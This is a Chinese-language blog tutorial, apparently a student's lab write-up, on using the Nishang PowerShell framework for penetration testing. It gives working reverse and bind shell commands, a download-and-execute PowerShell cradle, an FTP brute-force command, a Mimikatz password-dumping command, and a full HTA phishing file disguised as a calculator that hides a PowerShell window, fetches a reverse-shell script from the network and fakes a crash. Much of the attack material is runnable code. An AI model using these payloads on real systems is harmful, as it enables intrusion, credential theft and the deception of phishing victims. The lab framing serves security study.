zoukankan      html  css  js  c++  java
  • Final——Nishang

    一、介绍

    • Nishang是基于PowerShell的渗透测试专用工具,它集成了框架、脚本和各种payload,被广泛应用于渗透测试的各个阶段。

    二、使用

    • 下载脚本工具:Nishang
    • Nishang需要我们的Powershell版本在v3以上才能使用。
      • 查看当前Powershell版本:get-host
        image
    • 进入相应目录下
    • 导入框架:Import-Module . ishang.psm1
    • 模块介绍
      image
      • 信息搜集:Gather
      • 域相关脚本:Get-Unconstrained
      • 一个ASPX的Webshell:Antak Webshell
      • 后门:Backdoors
      • Client进行有效钓鱼:Client
      • 权限提升:Escalation
      • 更详细的介绍和使用我们学习参考Powershell 渗透测试工具-Nishang
    • 导入框架后,在使用对应脚本时,可以使用Get-Help 脚本名称 -full得到一些使用提示
    • 两种在内存当中去加载脚本的方式
      • powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.](IEX为远程下载脚本)
      • 第二种:
        • 使用Invoke-Encode脚本来将我们现有的脚本编码压缩:Invoke-Encode -DataToEncode "nishang-masterShellsInvoke-PowerShellTcp.ps1" -OutCommand
        • 在目标上执行:powershell -e [encodedscript]

    三、Nishang渗透测试

    1、TCP交互式Shell

    • Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,且基于TCP协议。
    • 参数
      • -Port需要正向监听的端口或要反向连接的端口。
      • -Bind正向连接
      • -IPAddress选择反向连接时需要连接到的IP地址
      • -Reverse反向连接
    • 正向连接
      • 在靶机运行脚本,监听端口5330:Invoke-PowerShellTcp -Bind -Port 5330
      • 使用nc连接到靶机端口5330:nc -nv 192.168.17.131 5330(这里IP为win10)
        image
        成功获取shell~
    • 反向连接
      • 使用nc监听本地端口5330:nc -ltp 5330
      • 在靶机上反弹shell:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.17.130 -Port 5330(这里IP为kali)
        image
        成功获取shell~
    • 脚本分析
      • 我们先使用Get-Help Invoke-PowerShellTcp -full查看信息(以下为部分,我们可以重点看语法、说明还有示例,这条命令所显示的就是脚本中的注释部分~)
        image
      • 运行参数
        image
      • 主函数部分
        • 我们可以参考所学的socket编程,在wireshark中抓包,我们可以看到TCP数据包,脚本中将靶机作为服务端,在建立三次握手后,服务端会向攻击方发送数据
          $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
          $stream.Write($sendbytes,0,$sendbytes.Length)
          
          image
        • 攻击方获取shell后输入命令时,靶机会接收并执行相应命令,在输出
          $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
          
          image

    2、服务爆破

    • 在之前的学习中我们利用Nishang中的扫描模块,尝试了对FTP服务器的爆破,效果如下:
      image
    • 显示爆破过程:Invoke-BruteForce -ComputerName 192.168.80.129 -UserList C:UsersASUSDesktopusername.txt -PasswordList C:UsersASUSDesktoppass.txt -Service ftp -verbose
      image
    • wireshark中可以看到当爆破后,ftp服务器端与本地的信息交互,本地确认完得到结果后退出。
      # 获取返回信息
      $result = $ftpRequest.GetResponse()
      $message = $result.BannerMessage + $result.WelcomeMessage
                            
      # 打印信息到控制台
      Write-Output "Match $username : $Password"
      $success = $true
      
      image

    3、利用HTA反弹获取shell

    • Nishang中有对客户端进行钓鱼的模块——Client,利用该模块生成各种感染的文件如HTA、Word,来执行powershell脚本发动攻击。
    • HTA,HTML-Application的缩写,它直接将某个html页面保存成hta的格式,打开时显示为窗口交互界面,就是一个独立的应用软件。
    • 使用Nishang中的Out-HTA生成带有payload的hta文件:Out-HTA -PayloadScript C:UsersASUSDesktop ishang-masterShellsInvoke-PowerShellTcpOneLine.ps1
      image
      这里生成的文件是闪退的...长时间打不开..
    • 借用一篇文中的代码,修改这个生成hta的脚本。
      • 首先生成一个可以弹出系统计算器的代码
        <title>Caculate</title>
        <center>
        <h1>Caculate.exe</h1>
        <br>
        <h2>Loading...</h2>
        <br>
        [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100%
        <br>
        </center>
        <script language="VBScript">
        Set Hackdo = CreateObject("Wscript.Shell")
        Set Check = CreateObject("Scripting.FileSystemObject")
        If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..powershell.exe") Then
          Hackdo.Run "powershell.exe -nop -w hidden calc.exe"
        End If
        </script>
        
        Hackdo.Run为调用Wscript.shell中的运行外部程序的函数——run,后面跟着一条powershell命令,用powershell开启计算器。
        image
      • 然后我们可以设置出假装闪退效果,在后面添加下面代码
        Hackdo.Run "taskkill /f /im mshta.exe"
        
        这里我们只是杀死了mshta.exe这个进程,而shellcode是注入在powershell中执行的,它的进程还在~
    • 要生成反弹shell,就要修改后面调用powershell执行的部分,原代码中是在生成时用参数调用生成reverse的脚本:Out-HTA -PayloadScript C: ishangShellsInvoke-PowerShellTcpOneLine.ps1,但是kali那边监听没反应
    • 于是换成了直接远程调用脚本,并用vbhide用来隐藏powershell的弹窗。主要代码如下:
      <body>
        <title>XXX-exp</title>
        <center>
        <h1>Caculate.exe</h1>
        <br>
        <h2>Loading...</h2>
       <br>
       [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100%
       <br>
       </center>
       <script language="VBScript">
        Set Hackdo = CreateObject("Wscript.Shell")
        Set Check = CreateObject("Scripting.FileSystemObject")
        If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..powershell.exe") Then
         Hackdo.Run "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.131 -port 5330",vbhide
        Hackdo.Run "taskkill /f /im mshta.exe"
       End If
       </script>     
        </body>
        </html>
      
      • windows中生成HTA:out-hta
      • kali下监听端口:nc -lv 5330
      • windows下打开HTA
    • 终于获取shell
      image

    4、Mimikatz结合Powershell 获取目标主机账号密码

    • mimikatz是由C语言编写的开源小工具,功能非常强大。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术。
    • 注意我们要使用管理员身份运行PowerShell
    • 导入Nishang框架Import-Module . ishang.psm1
    • 使用Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'获取密码
      image

    参考资料

  • 相关阅读:
    EF数据库初始化策略及种子数据的添加
    Win10 FaceAPI小demo开发问题汇总
    本地Git服务器的搭建及使用
    JSP利用freemarker生成基于word模板的word文档
    Mvc项目架构分享之项目扩展
    mvc项目架构搭建之UI层的搭建
    mvc项目架构分享系列之架构搭建之Repository和Service
    mvc项目架构分享系列之架构搭建之Infrastructure
    mvc项目架构分享系列之架构搭建初步
    [svc]HTTPS证书生成原理和部署细节
  • 原文地址:https://www.cnblogs.com/besty-zyx/p/11071353.html
Copyright © 2011-2022 走看看